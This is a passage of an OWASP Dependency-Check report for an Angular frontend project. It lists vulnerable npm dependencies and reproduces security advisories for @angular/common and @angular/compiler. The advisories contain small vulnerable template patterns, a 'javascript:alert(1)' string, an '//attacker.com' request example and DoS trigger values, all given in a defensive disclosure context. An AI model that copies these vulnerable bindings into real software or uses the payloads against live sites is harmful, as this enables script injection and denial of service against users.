Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.

How to read the report | Suppressing false positives | Getting Help: github issues

Project: misis-frontend

Scan Information (show all):

Summary

Summary of Vulnerable Dependencies (click to show all)

DependencyVulnerability IDsPackageHighest SeverityCVE CountConfidenceEvidence Count
@angular/common:18.2.14pkg:npm/%40angular%2Fcommon@18.2.14HIGH63
@angular/compiler:18.2.14pkg:npm/%40angular%2Fcompiler@18.2.14CRITICAL63
@angular/core:18.2.14pkg:npm/%40angular%2Fcore@18.2.14CRITICAL73
@babel/core:7.25.2pkg:npm/%40babel%2Fcore@7.25.2LOW13
@babel/plugin-transform-modules-systemjs:7.28.5pkg:npm/%40babel%2Fplugin-transform-modules-systemjs@7.28.5HIGH13
@sigstore/core:1.1.0pkg:npm/%40sigstore%2Fcore@1.1.0MEDIUM13
ajv:6.12.6pkg:npm/ajv@6.12.6MODERATE13
body-parser:1.20.4pkg:npm/body-parser@1.20.4LOW13
brace-expansion:2.0.2pkg:npm/brace-expansion@2.0.2HIGH43
chunk-22DMWHJU.js 00
chunk-257WTING.js 00
chunk-2V3MZXIU.js 00
chunk-3BSHJ67V.js 00
chunk-4AAQWOII.js 00
chunk-4EPMPMVV.js 00
chunk-4HCIODQW.js 00
chunk-4HGMDUUJ.js 00
chunk-5JAV7XL2.jspkg:javascript/%40angular%2Fcore@18.2.14HIGH53
chunk-7KPQ2DXU.js 00
chunk-AJBOQ75S.js 00
chunk-AP5MTEER.js 00
chunk-B2GWLCYN.js 00
chunk-BG6VN43N.js 00
chunk-BQ5Q5WHY.js 00
chunk-CDXM5JBR.js 00
chunk-DP4F5TQA.js 00
chunk-E2U6DIW7.js 00
chunk-EGWSR27L.js 00
chunk-EHSDV65V.js 00
chunk-FBF4U62R.js 00
chunk-I46VRRDT.js 00
chunk-IMSASWVY.js 00
chunk-IQ5EZLZZ.js 00
chunk-JHCPQQEH.js 00
chunk-JTCJRRTZ.js 00
chunk-KLY4GGYL.js 00
chunk-L7CQ6D5S.js 00
chunk-LIPVPPG2.js 00
chunk-LZHLFEKT.js 00
chunk-MLV6OKF7.js 00
chunk-MM75KSXS.js 00
chunk-MMHCKGY2.js 00
chunk-NHU2NPDK.js 00
chunk-OPGVS2PI.js 00
chunk-P6HMU473.js 00
chunk-PHUAL655.js 00
chunk-ROECGUZP.js 00
chunk-RRWBFRUF.js 00
chunk-SMEY3MHP.js 00
chunk-SP42GIS5.js 00
chunk-SPKGJ25A.js 00
chunk-TL2FMGJF.js 00
chunk-TSRGIXR5.js 00
chunk-U7VAZIYO.js 00
chunk-UEVVXM4Z.js 00
chunk-UPW4QMTG.js 00
chunk-V2XVDRAQ.js 00
chunk-V6FC6KBB.js 00
chunk-VCIV23RK.js 00
chunk-VPSKIO6K.js 00
chunk-VU3DAIZQ.js 00
chunk-W6WDMCOE.js 00
chunk-W6WGH6WE.js 00
chunk-WB4VYSQY.js 00
chunk-WNGMIR4V.js 00
chunk-X5WXO2QU.js 00
chunk-XTQJFHLZ.js 00
chunk-Y2PNIMXP.js 00
chunk-YJ4EEMEV.js 00
chunk-ZF4SLAQA.js 00
custom.js 00
engine.io:6.6.5pkg:npm/engine.io@6.6.5HIGH13
esbuild:0.21.5pkg:npm/esbuild@0.21.5MEDIUM13
flatted:3.3.3pkg:npm/flatted@3.3.3HIGH23
follow-redirects:1.15.11pkg:npm/follow-redirects@1.15.11MODERATE13
http-proxy-middleware:2.0.9pkg:npm/http-proxy-middleware@2.0.9MODERATE13
immutable:4.3.7pkg:npm/immutable@4.3.7CRITICAL33
ip-address:10.1.0pkg:npm/ip-address@10.1.0HIGH23
js-yaml:4.1.1pkg:npm/js-yaml@4.1.1HIGH33
jspdf:4.0.0pkg:npm/jspdf@4.0.0CRITICAL93
karma.conf.js 00
launch-editor:2.12.0pkg:npm/launch-editor@2.12.0MODERATE13
lodash-es:4.17.23pkg:npm/lodash-es@4.17.23HIGH23
lodash:4.17.23pkg:npm/lodash@4.17.23HIGH23
main-MG3FT3W7.js 00
minimatch:9.0.5pkg:npm/minimatch@9.0.5HIGH33
nanoid:3.3.11pkg:npm/nanoid@3.3.11MEDIUM23
node-forge:1.3.3pkg:npm/node-forge@1.3.3HIGH43
path-to-regexp:0.1.12pkg:npm/path-to-regexp@0.1.12HIGH13
picomatch:2.3.1pkg:npm/picomatch@2.3.1HIGH23
piscina:4.6.1pkg:npm/piscina@4.6.1HIGH13
polyfills-FFHMD2TL.js 00
postcss:8.5.6pkg:npm/postcss@8.5.6HIGH43
qs:6.14.1pkg:npm/qs@6.14.1MEDIUM23
rollup:4.22.4pkg:npm/rollup@4.22.4HIGH13
scripts-NF74VGQ5.js 00
serialize-javascript:6.0.2pkg:npm/serialize-javascript@6.0.2HIGH23
shell-quote:1.8.3pkg:npm/shell-quote@1.8.3HIGH23
sigstore:2.3.1pkg:npm/sigstore@2.3.1HIGH13
socket.io-parser:4.2.5pkg:npm/socket.io-parser@4.2.5HIGH23
static-config.js 00
static-config.js 00
static-config.js 00
tar:6.2.1pkg:npm/tar@6.2.1HIGH123
tmp:0.0.33pkg:npm/tmp@0.0.33LOW13
tmp:0.2.5pkg:npm/tmp@0.2.5HIGH13
uuid:8.3.2pkg:npm/uuid@8.3.2HIGH13
vite:5.4.21pkg:npm/vite@5.4.21HIGH33
webpack-dev-server:5.2.2pkg:npm/webpack-dev-server@5.2.2MEDIUM43
webpack:5.94.0pkg:npm/webpack@5.94.0LOW23
websocket-driver:0.7.4pkg:npm/websocket-driver@0.7.4CRITICAL23
ws:8.18.3pkg:npm/ws@8.18.3HIGH23

Dependencies (vulnerable)

@angular/common:18.2.14

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/common

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40angular%2Fcommon@18.2.14  (Confidence:Highest)

GHSA-48r7-hpm6-gfxm (NPM)  

A Denial of Service (DoS) vulnerability exists in the `@angular/common` package of the Angular framework. The `formatDate` function, which is also utilized by the standard Angular `DatePipe`, does not properly limit or validate the length of the `format` parameter. 

When parsing a maliciously crafted, excessively long date format string (e.g., a repeating pattern or very large string), the internal parser splits the string iteratively using a regular expression loop. This results in uncontrolled resource consumption (high CPU utilization and excessive memory allocations), leading to a Denial of Service (DoS).


### Impact

#### 1. Server-Side Rendering (SSR)
In Angular applications that leverage Server-Side Rendering, an attacker can supply a malicious payload with an excessively long date format string. Processing this on the server causes high CPU usage and triggers a `JavaScript heap out of memory` crash, rendering the application unavailable to all users.

#### 2. Client-Side Rendering (CSR)
In standard client-side applications, executing the vulnerable function with an excessively long format string blocks the browser's main thread, causing the browser tab to freeze and become completely unresponsive.

### Patched Versions
* 22.0.1  
* 21.2.17  
* 20.3.25

### Attack Preconditions
For this vulnerability to be exploitable, both of the following conditions must be met:
1. **Vulnerable Component Usage:** The application must format dates using the `formatDate` utility or the `DatePipe`.
2. **Attacker-Controlled Parameter:** The date format string passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preferences, or API responses).

*If the date format is hardcoded (e.g., `'mediumDate'`, `'shortTime'`, or static strings) or properly validated to be within a reasonable length limit, the application is not vulnerable.*
CWE-400 Uncontrolled Resource Consumption, CWE-1333 Inefficient Regular Expression Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-q6f4-qqrg-jv6x (NPM)  

A vulnerability was discovered in `@angular/common` when Server-Side Rendering (SSR) and hydration are enabled. The `HttpTransferCache` utility optimizes hydration by caching outgoing HTTP requests performed during SSR and transferring the cached state to the client-side application via `TransferState`.

However, the caching mechanism fails to inspect the `withCredentials` flag or the `Cookie` header of outgoing requests. As a result, credentialed, user-specific responses may be cached by default in the shared `TransferState` payload. When these responses are serialized into the HTML, any caching layer (such as a CDN, reverse proxy, or shared server cache) that caches the SSR-rendered HTML page could inadvertently cache and leak one user's private data to other users, leading to a high-severity information disclosure vulnerability.

### Impact

Successful exploitation allows an unauthenticated attacker to obtain sensitive, user-specific information of other authenticated users. This occurs when:

* The SSR-rendered HTML containing the cached private data is stored in a shared cache (e.g., CDN, reverse proxy).  
* Subsequent requests for the same page receive the cached HTML containing the first user's private data.

### Attack Preconditions

* **SSR and Hydration Enabled:** The Angular application must be configured to use Server-Side Rendering and hydration (e.g., using `provideClientHydration()`).  
* **Credentialed Requests during SSR:** The application must perform HTTP requests that require user-specific authentication (using cookies or `withCredentials: true`) during the initial server-side render.  
* **Shared Caching:** The application's HTML responses must be cached by a shared caching layer (CDN, reverse proxy, or server-side cache) without proper cache-control headers to distinguish authenticated users.

### Patches
- 22.0.0-rc.2
- 21.2.15
- 20.3.22
- 19.2.23
CWE-524 Use of Cache Containing Sensitive Information

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-58c5-g7wp-6w37 (NPM)  

The vulnerability is a **Credential Leak by App Logic** that leads to the **unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token** to an attacker-controlled domain.

Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (`http://` or `https://`) to determine if it is cross-origin. If the URL starts with protocol-relative URL (`//`), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the `X-XSRF-TOKEN` header.

### Impact
The token leakage completely bypasses Angular's built-in CSRF protection, allowing an attacker to capture the user's valid XSRF token. Once the token is obtained, the attacker can perform arbitrary Cross-Site Request Forgery (CSRF) attacks against the victim user's session.

### Attack Preconditions
1. The victim's Angular application must have **XSRF protection enabled**.  
2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`) to a **protocol-relative URL**  (e.g., `//attacker.com`) that they control.

### Patches
- 19.2.16
- 20.3.14
- 21.0.1

### Workarounds
Developers should avoid using protocol-relative URLs (URLs starting with `//`) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single `/`) or fully qualified, trusted absolute URLs.
CWE-359 Exposure of Private Personal Information to an Unauthorized Actor, CWE-201 Insertion of Sensitive Information Into Sent Data

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<19.2.16:*:*:*:*:*:*:*

GHSA-jhpw-976m-542j (NPM)  

Angular's `HttpTransferCache` caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration.

During SSR, `HttpTransferCache` previously generated identical key material for distinct request parameters when repeated values were present because repeated values were joined with commas:

```ts
new HttpParams().set('role', 'user,admin')
new HttpParams().append('role', 'user').append('role', 'admin')
```

Both requests previously serialized as `role=user,admin`, allowing distinct `HttpClient` requests to produce the same transfer-cache key material.

### Impact

In an SSR application, this cache-key ambiguity can make a later security-sensitive `HttpClient` request receive the response from an earlier semantically different request in the same render. For example, an attacker-influenced scalar-comma request can be cached and then replayed as the response for a trusted repeated-param authorization or data request to the same URL. As a result, Angular's server-rendered output can be based on the wrong backend response because the trusted request is not dispatched. This can lead to:

- **State Poisoning**: Using incorrect or attacker-influenced cached responses for subsequent application logic.
- **Cross-Request Response Reuse**: Reusing cached responses across requests with semantically different parameters.

### Patched Versions

- 22.0.2
- 21.2.19
- 20.3.27

### Workarounds

If you cannot upgrade immediately, configure your `HttpClient` requests to skip transfer caching for sensitive endpoints where repeated parameter keys are used:

```ts
this.http.get('/api/resource', {
  transferCache: false
});
```

Alternatively, disable the HTTP transfer cache globally in your application bootstrap config:

```ts
import { provideClientHydration, withNoHttpTransferCache } from '@angular/platform-browser';

export const appConfig = {
  providers: [
    provideClientHydration(
      withNoHttpTransferCache()
    )
  ]
};
```
CWE-345 Insufficient Verification of Data Authenticity

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-39pv-4j6c-2g6v (NPM)  

Angular's `HttpTransferCache` caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration. This avoids repeating the same HTTP requests on the client. The cached responses are stored in `TransferState` using a cache key generated by hashing request properties (method, response type, mapped URL, serialized body, and sorted query parameters).

The cache keys are generated using a weak 32-bit DJB2-like polynomial rolling hash. The 32-bit hash space is extremely small, allowing attackers to find hash collisions.

An attacker can easily find a query parameter string (e.g., `q=aaCAZMMM` for a search request) that produces the exact same 32-bit hash as a sensitive endpoint (e.g., `/api/user/profile`). When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the `TransferState` cache.

### Impact

When the application attempts to retrieve the cached response for the sensitive endpoint (such as the user's profile), it receives the attacker-controlled response instead. This results in:

* **State Poisoning**: The application runs with attacker-forged data, which can lead to bypassing client-side security controls or DOM-based Cross-Site Scripting (XSS) if the data is rendered unsafely.  
* **Information Leakage**: If the sensitive response is mistakenly associated with the attacker's search results and rendered on the page, the victim's sensitive data may be disclosed to the attacker.

### Patched Versions
* 22.0.1  
* 21.2.17  
* 20.3.25

### Framework-Level Fix

The logic has been updated to use a cryptographically secure **SHA-256** hash algorithm for generating `TransferState` cache keys in `HttpTransferCache`. The cache keys are now 256-bit hexadecimal strings.

### Workarounds

If you cannot upgrade immediately, configure your `HttpClient` requests to skip transfer caching for sensitive endpoints:

```ts
this.http.get('/api/user/profile', {
  transferCache: false
});
```

Alternatively, disable the HTTP transfer cache globally in your application bootstrap config:

```ts

import { provideClientHydration, withNoHttpTransferCache } from '@angular/platform-browser';

export const appConfig = {
  providers: [
    provideClientHydration(
      withNoHttpTransferCache()
    )
  ]
};

```

### Credits
This vulnerability was discovered and reported by [CodeMender from Google DeepMind](https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/).
CWE-345 Insufficient Verification of Data Authenticity, CWE-328 Use of Weak Hash

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-p3vc-36g9-x9gr (NPM)  

A Denial of Service (DoS) vulnerability exists in the `@angular/common` package of Angular. The `formatNumber` function, which is also utilized by `DecimalPipe`, `PercentPipe`, and `CurrencyPipe`, does not properly validate the upper bounds of the `digitsInfo` parameter. Specifically, the minimum and maximum fraction digits parsed from the `digitsInfo` string (e.g., `1.2-4`) are converted to integers and used without limits.

When parsing a maliciously crafted `digitsInfo` string with excessively large fraction digit values (e.g., `1.200000000-200000000`), the internal `roundNumber` function attempts to pad the digits array to match the requested fraction size. This results in an unbounded loop that repeatedly pushes elements into an array.

### Impact

Successful exploitation of this vulnerability allows an attacker to trigger resource exhaustion, leading to a Denial of Service (DoS):

* **Server-Side Rendering (SSR):** In applications using SSR (e.g., `@angular/ssr`), an attacker can crash the Node.js server process due to a `JavaScript heap out of memory` error. This affects the availability of the application for all users.  
* **Client-Side Rendering (CSR):** In standard client-side applications, the unbounded loop will block the main thread, freezing the user's browser tab and making it unresponsive.

### Attack Preconditions

For this vulnerability to be exploitable, the following conditions must be met:

1. **Vulnerable Component Usage:** The application must use Angular's number formatting utilities, such as the `formatNumber` function directly, or via template pipes (`DecimalPipe`, `PercentPipe`, `CurrencyPipe`).  
2. **Attacker-Controlled Parameter:** The `digitsInfo` parameter passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preference settings, or API responses that accept user-defined formatting options). If `digitsInfo` is trusted or limited to a known, defined range for its value, the vulnerability is not exploitable by external attackers.

### Patches
- 22.0.0-rc.2
- 21.2.15
- 20.3.22
- 19.2.23

### Credits
This vulnerability was discovered and reported by [CodeMender from Google DeepMind](https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/).
CWE-400 Uncontrolled Resource Consumption, CWE-834 Excessive Iteration

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/common:\<\=18.2.14:*:*:*:*:*:*:*

@angular/compiler:18.2.14

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/compiler

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40angular%2Fcompiler@18.2.14  (Confidence:Highest)

GHSA-g93w-mfhg-p222 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding `i18n-<attribute>` name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script. 

The following example illustrates the issue:
```html
<a href="{{maliciousUrl}}" i18n-href>Click me</a>
```

The following attributes have been confirmed to be vulnerable:
- `action`
- `background`
- `cite`
- `codebase`
- `data`
- `formaction`
- `href`
- `itemtype`
- `longdesc`
- `poster`
- `src`
- `xlink:href`

### Impact
When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables:
- Session Hijacking: Stealing session cookies and authentication tokens.
- Data Exfiltration: Capturing and transmitting sensitive user data.
- Unauthorized Actions: Performing actions on behalf of the user.

### Attack Preconditions
1. The application must use a vulnerable version of Angular.
2. The application must bind unsanitized user input to one of the attributes mentioned above.
3. The bound value must be marked for internationalization via the presence of a `i18n-<name>` attribute on the same element.

### Patches
- 22.0.0-next.3
- 21.2.4
- 20.3.18
- 19.2.20

### Workarounds
The primary workaround is to ensure that any data bound to the vulnerable attributes is **never sourced from untrusted user input** (e.g., database, API response, URL parameters) until the patch is applied, or when it is, it shouldn't be marked for internationalization.

Alternatively, users can explicitly sanitize their attributes by passing them through Angular's `DomSanitizer`:
```ts
import {Component, inject, SecurityContext} from '@angular/core';
import {DomSanitizer} from '@angular/platform-browser';

@Component({
  template: `
    <form action="{{url}}" i18n-action>
      <button>Submit</button>
    </form>
  `,
})
export class App {
  url: string;

  constructor() {
    const dangerousUrl = 'javascript:alert(1)';
    const sanitizer = inject(DomSanitizer);
    this.url = sanitizer.sanitize(SecurityContext.URL, dangerousUrl) || '';
  }
}
```

### References
- [Fix 1](https://github.com/angular/angular/pull/67541) 
- [Fix 2](https://github.com/angular/angular/pull/67561)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: CRITICAL (9.0)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\>\=17.0.0-next.0\<\=18.2.14:*:*:*:*:*:*:*

GHSA-jj27-h5hq-8x99 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as `onclick` and `onerror` through standard attribute validation (`validateAttribute()` / `validateProperty()`), the i18n metadata collection path allowed these same attribute names to be marked for translation using `i18n-on*` attributes (e.g., `i18n-onerror`).

When exploited, a lower-trust translation file could replace a benign static handler such as `onerror="void 0"` with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern:
```html
<img src="foo.jpg" onerror="void 0" i18n-onerror />
```

### Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to:
- **Session Hijacking**: Accessing session cookies, tokens, or sensitive user data.
- **Unauthorized Actions**: Performing actions on behalf of the authenticated user.

### Patched Versions

- 22.0.1
- 21.2.19
- 20.3.27

### Workarounds

Ensure that static event-handler attributes (e.g., `onerror`, `onclick`) are never marked for internationalization (`i18n-on*`) in application templates, and ensure translation files are sourced from trusted origins.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-jrmj-c5cx-3cw6 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context.

In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections.

When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script.

### Impact
When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to:
- **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens.
- **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application.
- **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user.

### Attack Preconditions

1. The victim application must explicitly use SVG `<script>` elements within its templates.
2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts.
3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses).

### Patches
- 19.2.18
- 20.3.16
- 21.0.7
- 21.1.0-rc.0

### Workarounds
Until the patch is applied, developers should:

- **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements.
- **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template.

### Resources

- https://github.com/angular/angular/pull/66318
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-v4hv-rgfq-gp49 (NPM)  

A **Stored Cross-Site Scripting ([XSS](https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss))** vulnerability has been identified in the **Angular Template Compiler**. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain [`javascript:` URLs](https://developer.mozilla.org/en-US/Web/URI/Reference/Schemes/javascript)) as requiring strict URL security, enabling the injection of malicious scripts.

Additionally, a related vulnerability exists involving SVG animation elements (`<animate>`, `<set>`, `<animateMotion>`, `<animateTransform>`). The `attributeName` attribute on these elements was not properly validated, allowing attackers to dynamically target security-sensitive attributes like `href` or `xlink:href` on other elements. By binding `attributeName` to "href" and providing a `javascript:` URL in the `values` or `to` attribute, an attacker could bypass sanitization and execute arbitrary code.

Attributes confirmed to be vulnerable include:
*   SVG-related attributes: (e.g., `xlink:href`), and various MathML attributes (e.g., `math|href`, `annotation|href`).
*   SVG animation `attributeName` attribute when bound to "href" or "xlink:href".

When template binding is used to assign untrusted, user-controlled data to these attributes (e.g., `[attr.xlink:href]="maliciousURL"` or `<animate [attributeName]="'href'" [values]="maliciousURL">`), the compiler incorrectly falls back to a non-sanitizing context or fails to block the dangerous attribute assignment. This allows an attacker to inject a `javascript:URL` payload. Upon user interaction (like a click) on the element, or automatically in the case of animations, the malicious JavaScript executes in the context of the application's origin.

### Impact

When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables:

* **Session Hijacking:** Stealing session cookies and authentication tokens.  
* **Data Exfiltration:** Capturing and transmitting sensitive user data.  
* **Unauthorized Actions:** Performing actions on behalf of the user.

### Patches

- 19.2.17
- 20.3.15
- 21.0.2

### Attack Preconditions

* The victim's Angular application must render data derived from **untrusted input** (e.g., from a database or API) and bind it to one of the unsanitized URL attributes or the `attributeName` of an SVG animation element.
* The victim must perform a **user interaction** (e.g., clicking) on the compromised element for the stored script to execute, or the animation must trigger the execution.

### Workarounds

If you cannot upgrade, you can workaround the issue by ensuring that any data bound to the vulnerable attributes is never sourced from untrusted user input (e.g., database, API response, URL parameters).

* **Avoid Affected Template Bindings:** Specifically avoid using template bindings (e.g., `[attr.xlink:href]="maliciousURL"`) to assign untrusted data to the vulnerable SVG/MathML attributes.
* **Avoid Dynamic `attributeName` on SVG Animations:** Do not bind untrusted data to the `attributeName` attribute of SVG animation elements (`<animate>`, `<set>`, etc.).
* **Enable [Content Security Policy (CSP)](https://angular.dev/best-practices/security#content-security-policy):** Configure a robust CSP header that disallows `javascript:` URLs.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-58w9-8g37-x9v5 (NPM)  

An issue in the `@angular/compiler` package allows bypassing DOM property sanitization through the use of two-way property bindings.

Specifically, when a native DOM property that requires sanitization (such as `innerHTML`, `srcdoc`, `src`, `href`, `data`, or `sandbox`) is bound using the two-way binding syntax (e.g., `[(innerHTML)]="value"` or `bindon-innerHTML="value"`), the Angular template compiler failed to apply the appropriate schema-derived sanitizer resolution to the `TwoWayProperty` operation. As a result, native two-way DOM bindings were emitted without the required sanitizer function, whereas equivalent one-way bindings would be properly sanitized.

This flaw enables an attacker who can control the value of a two-way bound sensitive property to bypass Angular's built-in sanitization logic, potentially leading to client-side Cross-Site Scripting (XSS).

### Impact
Any Angular application that uses two-way data binding (`[()]` or `bindon-`) on security-sensitive native DOM properties (like `innerHTML`, `href` on `<a>`, `src` on `<img>`/`<iframe>`, etc.) is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to supply an unsanitized property binding value that bypasses core sanitization constraints. This could lead to the execution of arbitrary JavaScript within the target user's browser context, potentially resulting in session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

### Attack Preconditions
To successfully exploit this vulnerability, the following environment parameters and application states must concurrently exist:
1. **Two-Way Binding on Sensitive Properties:** The application must bind to a sensitive native DOM property using the two-way binding syntax (e.g., `<div [(innerHTML)]="userContent"></div>`).
2. **User-Controlled Input:** The value bound to this property must be influenceable by user-controlled input.
3. **Absence of Additional Sanitization:** The application does not perform separate manual sanitization (e.g., via `DomSanitizer`) before passing the value to the bound property.

### Patches
* 22.0.1
* 21.2.17
* 20.3.25
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-f3m7-gqxr-g87x (NPM)  

An issue in the `@angular/compiler` and `@angular/core` packages allows bypassing element and attribute sanitization/validation through specific namespace workarounds.

Specifically, namespaced script elements (e.g., `<svg:script>` or `<:svg:script>`) were not properly identified as script elements by the Angular template preparser, allowing them to pass through template compilation without being stripped.

Furthermore, security context schema mappings for element attributes did not consistently handle attributes within namespaced elements (like SVG and MathML), opening up gaps where malicious namespaced attributes could bypass runtime and compile-time sanitizers.

Combined, these flaws enable an attacker who can inject or supply a template/tag structure with custom namespaces to bypass Angular's script-stripping logic and attribute sanitizers, leading to client-side Cross-Site Scripting (XSS).

### Impact
Any Angular application that compiles user-controlled templates at runtime, or relies on sanitization of namespaced elements/attributes, is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to inject a namespaced script element or dynamic attribute bindings, bypassing core sanitization constraints to execute arbitrary JavaScript within the target user's browser context. This could lead to session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

### Attack Preconditions
To successfully exploit these vulnerabilities, the following environment parameters and application states must all concurrently exist:
1. **User-Controlled Template Input:** The application must accept user-controlled inputs that are directly processed by the Angular template compiler at runtime.
2. **Namespace Parsing Support:** The input structure must employ custom namespace prefixes (such as `<svg:script>`) to evade standard tag-name blocklists/checks.
3. **Absence of Additional Context Sanitization:** The application does not perform separate input sanitization before feeding values to the Angular compiler.

### Patches
* 22.0.0-rc.2
* 21.2.15
* 20.3.22
* 19.2.23
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/compiler:\<\=18.2.14:*:*:*:*:*:*:*

@angular/core:18.2.14

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/core

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40angular%2Fcore@18.2.14  (Confidence:Highest)

